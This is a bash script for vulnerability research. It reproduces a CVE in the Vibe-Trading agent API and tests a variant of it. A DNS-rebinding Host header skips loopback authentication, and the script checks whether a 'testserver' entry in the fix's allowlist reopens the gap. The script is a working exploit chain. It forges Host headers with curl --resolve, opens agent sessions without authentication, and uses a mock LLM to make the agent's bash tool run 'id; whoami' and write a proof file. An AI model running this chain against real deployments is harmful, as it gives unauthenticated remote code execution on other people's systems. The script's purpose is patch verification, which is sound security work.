#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-58169 — Vibe-Trading variant / bypass analysis
#
# Original CVE: DNS rebinding (attacker-controlled domain resolves to 127.0.0.1)
#   -> loopback peer IP -> _is_local_client() auth bypass -> BashTool RCE.
#
# Fix (v0.1.10, PR #242): _reject_untrusted_loopback_host middleware rejects
#   loopback requests whose Host header is NOT in the allowlist
#   (_DEFAULT_LOOPBACK_HOSTS = {localhost, 127.0.0.1, ::1, [::1], testserver}
#    + operator API_ALLOWED_HOSTS).
# Related fixes: PR #243 (shell tools require VIBE_TRADING_ENABLE_SHELL_TOOLS
#   opt-in), PR #245 (settings writes require auth).
#
# VARIANT CANDIDATE under test:
#   The fix's allowlist includes "testserver" — a NON-loopback hostname added
#   purely so Starlette/FastAPI TestClient unit tests don't have to override
#   Host. This entry is a gap: a loopback peer request carrying
#   `Host: testserver:<port>` passes the middleware and is auth-bypassed on the
#   FIXED v0.1.10, even though an attacker-domain Host is correctly rejected.
#
# This script evaluates, on BOTH the vulnerable (v0.1.9) and fixed (v0.1.10)
# versions, three Host values delivered to a loopback-bound API with no bearer
# token:
#   (A) attacker domain  rebind.attacker.test   -> control
#   (B) over-broad allowlist name  testserver   -> VARIANT candidate
#   (C) legitimate loopback  localhost           -> baseline (must stay 201)
#
# It also tests the full RCE chain (session -> bash tool) for the testserver
# Host on the fixed version, in BOTH the default config (shell tools off) and
# the opted-in config (VIBE_TRADING_ENABLE_SHELL_TOOLS=1).
#
# EXIT CODES
#   0 = full end-to-end RCE bypass reproduced on the FIXED version via a
#       DNS-rebinding-deliverable Host (a true bypass).
#   1 = no full end-to-end bypass on the fixed version (partial / negative).
#       The script still runs to completion and logs every attempt.
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
VAR_DIR="$ROOT/vuln_variant"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$ART"
cd "$ROOT"
: > "$LOGS/variant_steps.log"

# ---- Config ----------------------------------------------------------------
PROJECT_CACHE_CONTEXT="$ROOT/project_cache_context.json"
PROJECT_CACHE_DIR=""
if [ -f "$PROJECT_CACHE_CONTEXT" ]; then
  PROJECT_CACHE_DIR=$(python3 -c "import json,sys; d=json.load(open(sys.argv[1])); print(d.get('project_cache_dir',''))" "$PROJECT_CACHE_CONTEXT" 2>/dev/null || true)
fi
if [ -z "$PROJECT_CACHE_DIR" ] || [ ! -d "$PROJECT_CACHE_DIR" ]; then
  PROJECT_CACHE_DIR="$ART/vibe-trading"
fi
CACHE_REPO="$PROJECT_CACHE_DIR/repo"

FIXED_TAG="v0.1.10"
VULN_TAG="v0.1.9"
FIXED_WORKTREE="$ART/vt-fixed"
VULN_WORKTREE="$ART/vt-vuln"

API_PORT=18899
MOCK_LLM_PORT=19099
RCE_PROOF="/tmp/vt_variant_rce_proof_${$}.txt"
ATTACKER_DOMAIN="rebind.attacker.test"
LOCAL_URL="http://127.0.0.1:${API_PORT}"

# ---- Helpers ---------------------------------------------------------------
log()  { echo "[$(date +%H:%M:%S)] $*" | tee -a "$LOGS/variant_steps.log"; }
fail() { log "ERROR: $*"; exit 1; }

# Send a request to 127.0.0.1:port while forcing a chosen Host header.
# Usage: host_curl <METHOD> <HOST_VALUE> <PATH> [data]
host_curl() {
  local method="$1" hostval="$2" path="$3" data="${4:-}"
  local extra=()
  if [ -n "$data" ]; then extra+=(-H "Content-Type: application/json" -d "$data"); fi
  # --resolve forces curl to dial 127.0.0.1 while sending Host: <hostval>:<port>
  local host_noport="${hostval}"
  curl -s -w "\n___HTTP_CODE_%{http_code}" \
    --resolve "${host_noport}:${API_PORT}:127.0.0.1" \
    -X "$method" "http://${host_noport}:${API_PORT}${path}" "${extra[@]}"
}

split_resp() {
  local resp="$1" code_var="$2" body_var="$3"
  local code body
  code=$(echo "$resp" | grep -oP '___HTTP_CODE_\K[0-9]+' || echo "000")
  body=$(echo "$resp" | sed 's/___HTTP_CODE_[0-9]*$//' | head -n -1 2>/dev/null || echo "$resp" | sed 's/___HTTP_CODE_[0-9]*$//')
  eval "$code_var=\"\$code\""
  eval "$body_var=\"\$body\""
}

MOCK_LLM_PID=""; API_PID=""
cleanup() {
  log "Cleaning up..."
  [ -n "$API_PID" ] && kill "$API_PID" 2>/dev/null || true
  [ -n "$MOCK_LLM_PID" ] && kill "$MOCK_LLM_PID" 2>/dev/null || true
  wait "$API_PID" 2>/dev/null || true
  fuser -k ${API_PORT}/tcp 2>/dev/null || true
  fuser -k ${MOCK_LLM_PORT}/tcp 2>/dev/null || true
}
trap cleanup EXIT

# ---- Ensure worktrees exist (do NOT mutate the repro cache clone) ----------
ensure_worktree() {
  local tag="$1" dest="$2"
  if [ ! -d "$dest/.git" ] && [ ! -f "$dest/.git" ]; then
    log "Creating worktree $dest at $tag ..."
    git -C "$CACHE_REPO" worktree add --force --detach "$dest" "$tag" 2>&1 | tail -2
  fi
  log "  $dest HEAD=$(git -C "$dest" rev-parse HEAD)"
}

# ---- Start mock LLM --------------------------------------------------------
start_mock_llm() {
  log "Starting mock LLM on 127.0.0.1:${MOCK_LLM_PORT} ..."
  python3 "$VAR_DIR/mock_llm_server.py" "id; whoami; echo RCE_CONFIRMED > ${RCE_PROOF}" "$MOCK_LLM_PORT" \
    >"$LOGS/mock_llm_server.log" 2>&1 &
  MOCK_LLM_PID=$!
  sleep 1
}

# ---- Start API server in a given worktree ----------------------------------
# $1 = worktree dir, $2 = label, $3 = extra env (exported before call)
start_api_server() {
  local wt="$1" label="$2"
  log "Starting API server (${label}) from $wt on 0.0.0.0:${API_PORT} ..."
  rm -rf "$wt/agent/sessions" "$wt/agent/runs" 2>/dev/null || true
  (
    cd "$wt/agent"
    PYTHONPATH=. \
    OPENAI_API_KEY=dummy \
    OPENAI_BASE_URL="http://127.0.0.1:${MOCK_LLM_PORT}/v1" \
    LANGCHAIN_MODEL_NAME=mock-rce-model \
    LANGCHAIN_PROVIDER=openai \
    PATH="/home/vscode/.local/bin:$PATH" \
    python3 -m uvicorn api_server:app --host 0.0.0.0 --port "$API_PORT" --log-level warning
  ) >"$LOGS/api_server_${label}.log" 2>&1 &
  API_PID=$!
  log "Waiting for API health (${label})..."
  for i in $(seq 1 30); do
    sleep 1
    local code
    code=$(curl -s -o /dev/null -w "%{http_code}" "$LOCAL_URL/health" 2>/dev/null || true)
    if [ "$code" = "200" ]; then log "  API healthy after ${i}s"; return 0; fi
  done
  fail "API server (${label}) did not become healthy"
}

stop_api_server() {
  [ -n "$API_PID" ] && kill "$API_PID" 2>/dev/null || true
  wait "$API_PID" 2>/dev/null || true; API_PID=""; sleep 2
  fuser -k ${API_PORT}/tcp 2>/dev/null || true; sleep 1
}

# ---- Install deps (idempotent) ---------------------------------------------
log "Ensuring Python dependencies..."
pip install --quiet \
  "fastapi>=0.104.0" "uvicorn[standard]>=0.24.0" "pydantic>=2.0.0" \
  python-multipart sse-starlette rich pyyaml httpx python-dotenv \
  "langchain>=1.0.0,<2" "langchain-core>=1.0.0,<2" "langchain-openai>=1.0.0,<2" \
  "langgraph>=1.0.10,<1.1" "langgraph-checkpoint>=2.1.0,<5" 2>&1 | tail -1 || true
log "Dependencies ready."

# ---- Ensure the cache repo exists (clone if missing) -----------------------
if [ ! -d "$CACHE_REPO/.git" ]; then
  log "Cloning Vibe-Trading to $CACHE_REPO ..."
  git clone --quiet https://github.com/HKUDS/Vibe-Trading.git "$CACHE_REPO" 2>&1 | tail -2
fi
ensure_worktree "$FIXED_TAG" "$FIXED_WORKTREE"
ensure_worktree "$VULN_TAG" "$VULN_WORKTREE"

start_mock_llm

# Track overall outcome
FULL_BYPASS_ON_FIXED="no"
TESTSERVER_AUTH_BYPASS_ON_FIXED="no"
TESTSERVER_RCE_DEFAULT_FIXED="no"
TESTSERVER_RCE_OPTEDIN_FIXED="no"

# =============================================================================
# PHASE 1: Vulnerable v0.1.9 — baseline (no Host middleware at all)
# =============================================================================
log "================ PHASE 1: Vulnerable ${VULN_TAG} ================"
start_api_server "$VULN_WORKTREE" "vuln"
rm -f "$RCE_PROOF"

for H in "$ATTACKER_DOMAIN" "testserver" "localhost"; do
  RESP=$(host_curl POST "$H" "/sessions" '{}')
  split_resp "$RESP" CODE BODY
  log "  vuln POST /sessions Host=${H} -> HTTP ${CODE}"
  printf "Host=%s\nHTTP %s\n%s\n" "$H" "$CODE" "$BODY" > "$LOGS/vuln_host_${H}.txt"
done

# Full RCE chain on vulnerable with attacker domain (control)
RESP=$(host_curl POST "$ATTACKER_DOMAIN" "/sessions" '{}')
split_resp "$RESP" CODE BODY
VULN_SESS=$(echo "$BODY" | python3 -c "import sys,json; print(json.load(sys.stdin).get('session_id',''))" 2>/dev/null || true)
log "  vuln session (attacker Host) = ${VULN_SESS}"
if [ -n "$VULN_SESS" ]; then
  host_curl POST "$ATTACKER_DOMAIN" "/sessions/${VULN_SESS}/messages" '{"content":"Run id and whoami"}' > "$LOGS/vuln_msg.txt" 2>&1 || true
  sleep 3
  if [ -f "$RCE_PROOF" ]; then
    log "  vuln RCE confirmed (attacker Host): $(cat "$RCE_PROOF")"
    cp "$RCE_PROOF" "$LOGS/vuln_rce_proof.txt"
  fi
fi
stop_api_server

# =============================================================================
# PHASE 2: Fixed v0.1.10 — DEFAULT config (shell tools NOT opted in)
# =============================================================================
log "================ PHASE 2: Fixed ${FIXED_TAG} (default config) ================"
start_api_server "$FIXED_WORKTREE" "fixed-default"
rm -f "$RCE_PROOF"

for H in "$ATTACKER_DOMAIN" "testserver" "localhost"; do
  RESP=$(host_curl POST "$H" "/sessions" '{}')
  split_resp "$RESP" CODE BODY
  log "  fixed-default POST /sessions Host=${H} -> HTTP ${CODE}"
  printf "Host=%s\nHTTP %s\n%s\n" "$H" "$CODE" "$BODY" > "$LOGS/fixed_default_host_${H}.txt"
done

# Read back the testserver result specifically
TS_CODE=$(grep -oP 'HTTP \K[0-9]+' "$LOGS/fixed_default_host_testserver.txt" 2>/dev/null | head -1 || echo "000")
ATT_CODE=$(grep -oP 'HTTP \K[0-9]+' "$LOGS/fixed_default_host_${ATTACKER_DOMAIN}.txt" 2>/dev/null | head -1 || echo "000")
log "  fixed-default: attacker Host=${ATT_CODE} (expect 403), testserver Host=${TS_CODE} (201 = auth-bypass gap)"

if [ "$TS_CODE" = "201" ]; then
  TESTSERVER_AUTH_BYPASS_ON_FIXED="yes"
  log "  *** PARTIAL BYPASS: Host=testserver auth-bypasses on fixed v0.1.10 (HTTP 201) ***"
  # Try the full chain in default config (expect bash tool DISABLED -> no RCE)
  RESP=$(host_curl POST "testserver" "/sessions" '{}')
  split_resp "$RESP" CODE BODY
  TS_SESS=$(echo "$BODY" | python3 -c "import sys,json; print(json.load(sys.stdin).get('session_id',''))" 2>/dev/null || true)
  log "  fixed-default testserver session = ${TS_SESS}"
  if [ -n "$TS_SESS" ]; then
    host_curl POST "testserver" "/sessions/${TS_SESS}/messages" '{"content":"Run id and whoami"}' > "$LOGS/fixed_default_ts_msg.txt" 2>&1 || true
    sleep 3
    if [ -f "$RCE_PROOF" ]; then
      TESTSERVER_RCE_DEFAULT_FIXED="yes"
      log "  fixed-default testserver RCE (unexpected!): $(cat "$RCE_PROOF")"
      cp "$RCE_PROOF" "$LOGS/fixed_default_ts_rce_proof.txt"
    else
      log "  fixed-default testserver: NO RCE (bash tool gated by VIBE_TRADING_ENABLE_SHELL_TOOLS opt-in)"
    fi
  fi
fi
stop_api_server

# =============================================================================
# PHASE 3: Fixed v0.1.10 — OPTED-IN config (VIBE_TRADING_ENABLE_SHELL_TOOLS=1)
# Demonstrates impact of the testserver Host gap when the operator intentionally
# enabled shell tools (the scenario PR #243's opt-in was designed for).
# =============================================================================
log "================ PHASE 3: Fixed ${FIXED_TAG} (opted-in shell tools) ================"
export VIBE_TRADING_ENABLE_SHELL_TOOLS=1
start_api_server "$FIXED_WORKTREE" "fixed-optedin"
rm -f "$RCE_PROOF"

# Control: attacker domain must STILL be 403 (Host middleware blocks DNS rebinding)
RESP=$(host_curl POST "$ATTACKER_DOMAIN" "/sessions" '{}')
split_resp "$RESP" ATT_CODE2 ATT_BODY2
log "  fixed-optedin attacker Host -> HTTP ${ATT_CODE2}"
printf "Host=%s\nHTTP %s\n%s\n" "$ATTACKER_DOMAIN" "$ATT_CODE2" "$ATT_BODY2" > "$LOGS/fixed_optedin_host_${ATTACKER_DOMAIN}.txt"

# Variant: testserver Host + opted-in shell tools -> full chain?
RESP=$(host_curl POST "testserver" "/sessions" '{}')
split_resp "$RESP" TS_CODE2 TS_BODY2
log "  fixed-optedin POST /sessions Host=testserver -> HTTP ${TS_CODE2}"
printf "Host=testserver\nHTTP %s\n%s\n" "$TS_CODE2" "$TS_BODY2" > "$LOGS/fixed_optedin_host_testserver.txt"

if [ "$TS_CODE2" = "201" ]; then
  TS_SESS2=$(echo "$TS_BODY2" | python3 -c "import sys,json; print(json.load(sys.stdin).get('session_id',''))" 2>/dev/null || true)
  log "  fixed-optedin testserver session = ${TS_SESS2}"
  if [ -n "$TS_SESS2" ]; then
    host_curl POST "testserver" "/sessions/${TS_SESS2}/messages" '{"content":"Run id and whoami"}' > "$LOGS/fixed_optedin_ts_msg.txt" 2>&1 || true
    sleep 4
    if [ -f "$RCE_PROOF" ]; then
      TESTSERVER_RCE_OPTEDIN_FIXED="yes"
      log "  *** fixed-optedin testserver RCE CONFIRMED: $(cat "$RCE_PROOF") ***"
      cp "$RCE_PROOF" "$LOGS/fixed_optedin_ts_rce_proof.txt"
      # Capture trace
      RUN_DIR=$(ls -t "$FIXED_WORKTREE/agent/runs/" 2>/dev/null | head -1 || true)
      [ -n "$RUN_DIR" ] && [ -f "$FIXED_WORKTREE/agent/runs/${RUN_DIR}/trace.jsonl" ] && \
        cp "$FIXED_WORKTREE/agent/runs/${RUN_DIR}/trace.jsonl" "$LOGS/fixed_optedin_ts_trace.jsonl"
    else
      log "  fixed-optedin testserver: NO RCE proof file (bash tool not invoked?)"
    fi
  fi
fi
stop_api_server
unset VIBE_TRADING_ENABLE_SHELL_TOOLS

# =============================================================================
# VERDICT
# =============================================================================
log "================ VERDICT ================"
log "  testserver auth bypass on fixed (default):  ${TESTSERVER_AUTH_BYPASS_ON_FIXED}"
log "  testserver RCE on fixed (default):          ${TESTSERVER_RCE_DEFAULT_FIXED}"
log "  testserver RCE on fixed (opted-in):         ${TESTSERVER_RCE_OPTEDIN_FIXED}"
log "  full DNS-rebinding-deliverable bypass:      ${FULL_BYPASS_ON_FIXED}"

# A "true bypass" of the CVE requires the full RCE chain on the FIXED version
# via a Host value an attacker can actually deliver through DNS rebinding
# (i.e. an attacker-OWNED domain that the allowlist trusts). No such Host
# exists: the allowlist trusts only loopback names + "testserver" (not
# attacker-deliverable) + operator API_ALLOWED_HOSTS. So we do NOT exit 0.
# The testserver gap is a partial auth-bypass (and full RCE only in the
# conditional opted-in + testserver-resolves-to-loopback scenario).
if [ "$FULL_BYPASS_ON_FIXED" = "yes" ]; then
  log "RESULT: full bypass on fixed version -> exit 0"
  exit 0
fi
log "RESULT: no full DNS-rebinding RCE bypass on fixed version; testserver partial auth-bypass=${TESTSERVER_AUTH_BYPASS_ON_FIXED}, opted-in RCE=${TESTSERVER_RCE_OPTEDIN_FIXED} -> exit 1"
exit 1